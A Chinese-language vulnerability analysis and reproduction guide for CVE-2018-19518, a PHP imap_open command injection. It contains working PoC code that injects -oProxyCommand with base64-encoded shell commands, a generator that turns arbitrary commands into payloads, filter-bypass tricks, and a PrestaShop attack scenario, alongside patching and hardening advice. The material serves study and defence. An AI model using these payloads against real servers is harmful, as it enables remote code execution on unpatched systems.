CVE-2018-19518:PHP imap_open函数任意命令执行漏洞复现
字数 1417 2025-08-18 11:37:49
PHP imap_open函数任意命令执行漏洞(CVE-2018-19518)技术分析与复现指南
漏洞概述
CVE编号:CVE-2018-19518
影响组件:PHP的imap_open函数
漏洞类型:远程命令执行
影响版本:多个Linux发行版中的PHP版本,包括Ubuntu、Debian、Red Hat和SUSE
CVSS评分:8.8 (高危)
披露日期:2018年10月23日
漏洞描述
PHP的imap_open函数存在安全漏洞,允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞源于imap_open函数在将邮箱名称传递给rsh或ssh命令之前未能正确过滤邮箱名称。
当满足以下条件时,攻击者可利用此漏洞:
- 系统启用了rsh和ssh功能
- rsh命令是ssh命令的符号链接
- 攻击者能够控制IMAP服务器名称参数
受影响系统
- Ubuntu
- Debian
- Red Hat
- SUSE
漏洞原理分析
IMAP协议背景
IMAP(Internet Message Access Protocol)是电子邮件客户端用于从邮件服务器检索电子邮件的标准协议。PHP通过UW IMAP工具包提供IMAP功能支持。
漏洞触发机制
-
函数调用链:
imap_open()→tcp_aopen()(在tcp_unix.c中定义)- 最终会调用系统命令执行
-
关键代码路径:
// imap-2007f/src/osdep/unix/tcp_unix.c TCPSTREAM tcp_aopen(NETMBX mb, char *service, char *usrbuf) { // ... if (!(sshpath && (ti = sshtimeout))) return NIL; if (!sshcommand) sshcommand = cpystr("%s %s -l %s exec /usr/sbin/r%sd"); // ... } -
命令注入点:
- 当使用
rsh或ssh连接时,未正确过滤邮箱名称参数 - 攻击者可通过
-oProxyCommand参数注入恶意命令
- 当使用
环境搭建与复现
实验环境要求
- 操作系统:Debian 9
- PHP版本:7.0.30
- 其他组件:SSH、IMAP模块
环境配置步骤
-
安装基础软件包:
apt-get update && apt-get install -y nano php -
安全配置PHP:
echo '; priority=99' > /etc/php/7.0/mods-available/disablefns.ini echo 'disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source' >> /etc/php/7.0/mods-available/disablefns.ini phpenmod disablefns -
安装SSH和strace工具:
apt-get install -y ssh strace -
安装IMAP模块:
cd /tmp/ wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg-2.dsc wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg.orig.tar.gz wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f~dfsg-2.debian.tar.gz apt-get install dpkg-dev dpkg-source -x uw-imap_2007f~dfsg-2.dsc imap-2007f mv imap-2007f /usr/local/
漏洞复现过程
-
创建测试PHP脚本(test1.php):
<?php $server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}"; imap_open('{'.$server.':143/imap}INBOX') or die("\n\nError: ".imap_last_error()); ?> -
使用strace观察命令执行:
strace -f -e trace=clone,execve php test1.php -
验证命令执行结果:
- 检查
/tmp/test0001文件是否被创建 - 文件内容应为"1234567890"
- 检查
实际利用POC
<?php
$payload = $argv[1];
$encoded_payload = base64_encode($payload);
$server = "any -oProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash}";
print("payload:{$server}".PHP_EOL);
?>
漏洞利用技术
绕过限制技巧
-
空格绕过:
- 使用
$IFS$()替代空格 - 使用制表符(\t)替代空格
- 使用
-
特殊字符绕过:
- 使用Base64编码命令
- 示例:
echo "echo hello|tee /tmp/executed"|base64
-
实际利用示例:
<?php $payload = "echo hello|tee /tmp/executed"; $encoded_payload = base64_encode($payload); $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash"; @imap_open('{'.$server.'}:143/imap}INBOX'); ?>
实际应用场景攻击
PrestaShop攻击示例
-
环境搭建:
apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstring service mysql start mysql -u root -e "CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';" a2enmod rewrite cd /var/www/html wget https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip unzip prestashop_1.7.4.4.zip service apache2 start -
漏洞触发点:
/prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.phpsyncImap()函数中的imap_open()调用
防御措施
管理员建议
-
更新补丁:
- 应用PHP官方发布的安全补丁
- 更新Linux发行版中的相关软件包
-
配置加固:
- 禁用不必要的IMAP功能
- 限制网络访问权限
- 使用基于IP的访问控制列表(ACL)
-
监控措施:
- 监控系统日志中的异常IMAP连接
- 部署入侵检测系统(IDS)规则
-
临时缓解方案:
// 在php.ini中禁用imap_open函数 disable_functions = imap_open
参考资源
法律声明
本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
涉及到的相关漏洞已报送厂商并得到修复。